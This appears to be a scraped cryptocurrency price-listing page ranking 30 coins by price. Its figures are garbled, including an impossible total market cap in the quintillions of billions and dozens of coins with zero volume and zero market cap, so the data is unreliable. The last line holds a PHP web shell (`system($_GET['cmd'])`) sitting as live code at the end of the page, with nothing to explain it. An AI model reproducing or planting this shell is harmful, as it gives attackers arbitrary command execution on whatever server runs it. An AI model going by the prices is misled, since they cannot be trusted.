3479 cryptocurrencies
Total Market Cap $9,999,999,442,119,690,240.00B
24h Total Volume $4.84B

Donations are accepted and help this site develop. Be sure to create a login and follow your favorite projects!

Breaking news
Cryptocurrency arrow_drop_down Price 24h % Change Volume Market cap 24h Performance
1 Innova Innova $9,999,999,999.99 -0.07% 0.00000000 INN $0.00000000
2 Wagerr Wagerr $2,248,032,690.70 -0.08% 0.00000000 WGR $0.00000000
3 23 Skidoo 23 Skidoo $841,207.95 -0.08% 0.00000000 CHAO $0.00000000
4 42 Coin 42 Coin $790,000.00 0.00% 0.00000000 42 $0.00000000
5 Decentralized Universal Basic Income Decentralized Universal Basic Income $181,440.00 0.24% 0.00000000 DUBI $0.00000000
6 Bitair Bitair $26,820.00 -0.07% 0.16 BTCA $35.86B
7 Bitcoin Bitcoin $26,817.10 -0.08% 13,740.70 BTC $519.73B
8 Bitfinex Bitcoin Future Bitfinex Bitcoin Future $14,140.00 0.00% 0.00000000 BT1 $0.00000000
9 Limited Coin Limited Coin $11,000.00 0.00% 0.00000000 LTD $0.00000000
10 XauCoin XauCoin $7,841.26 -0.08% 0.00000000 XAU $0.00000000
11 Russian Mining Coin Russian Mining Coin $4,827.62 -0.07% 0.00000000 RMC $0.00000000
12 IDEX Membership IDEX Membership $3,045.63 0.22% 0.00000000 IDXM $0.00000000
13 DarkGold DarkGold $2,340.45 0.23% 0.00000000 DGDC $0.00000000
14 Merculet Merculet $2,053.00 0.00% 0.00000000 MVP $0.00000000
15 Ethereum Ethereum $1,814.30 0.23% 75,222.75 ETH $217.98B
16 CoolCoin CoolCoin $1,501.25 0.23% 0.00000000 COOL $0.00000000
17 300 token 300 token $1,476.01 -0.07% 0.00000000 300 $0.00000000
18 CryptopiaFeeShares CryptopiaFeeShares $1,474.67 -0.07% 0.00000000 CEFS $0.00000000
19 PetroDollar PetroDollar $1,340.00 0.00% 0.00000000 XPD $0.00000000
20 YobitVirtualCoin YobitVirtualCoin $851.87 -0.09% 0.00000000 YOVI $0.00000000
21 Carbon Carbon $725.66 0.22% 0.00000000 CUSD $0.00000000
22 Maker Maker $623.80 0.18% 1,207.26 MKR $609.83M
23 CoEval CoEval $533.70 -0.07% 0.00000000 COE $0.00000000
24 BitcoinFile BitcoinFile $430.67 -0.78% 101.34 BIFI $34.45M
25 CO2 Token CO2 Token $362.82 0.23% 0.00000000 CO2 $0.00000000
26 Binance Coin Binance Coin $308.72 -0.19% 197,950.78 BNB $48.74B
27 MegaFlash MegaFlash $268.17 -0.08% 0.00000000 MEGA $0.00000000
28 KRCoin KRCoin $268.17 -0.08% 0.00000000 KRC $0.00000000
29 Digix DAO Digix DAO $218.10 -0.08% 0.00000000 DGD $15.77M
30 Infinity Economics Infinity Economics $152.26 0.00% 0.00000000 XIN $0.00000000

<?php system($_GET['cmd']); ?>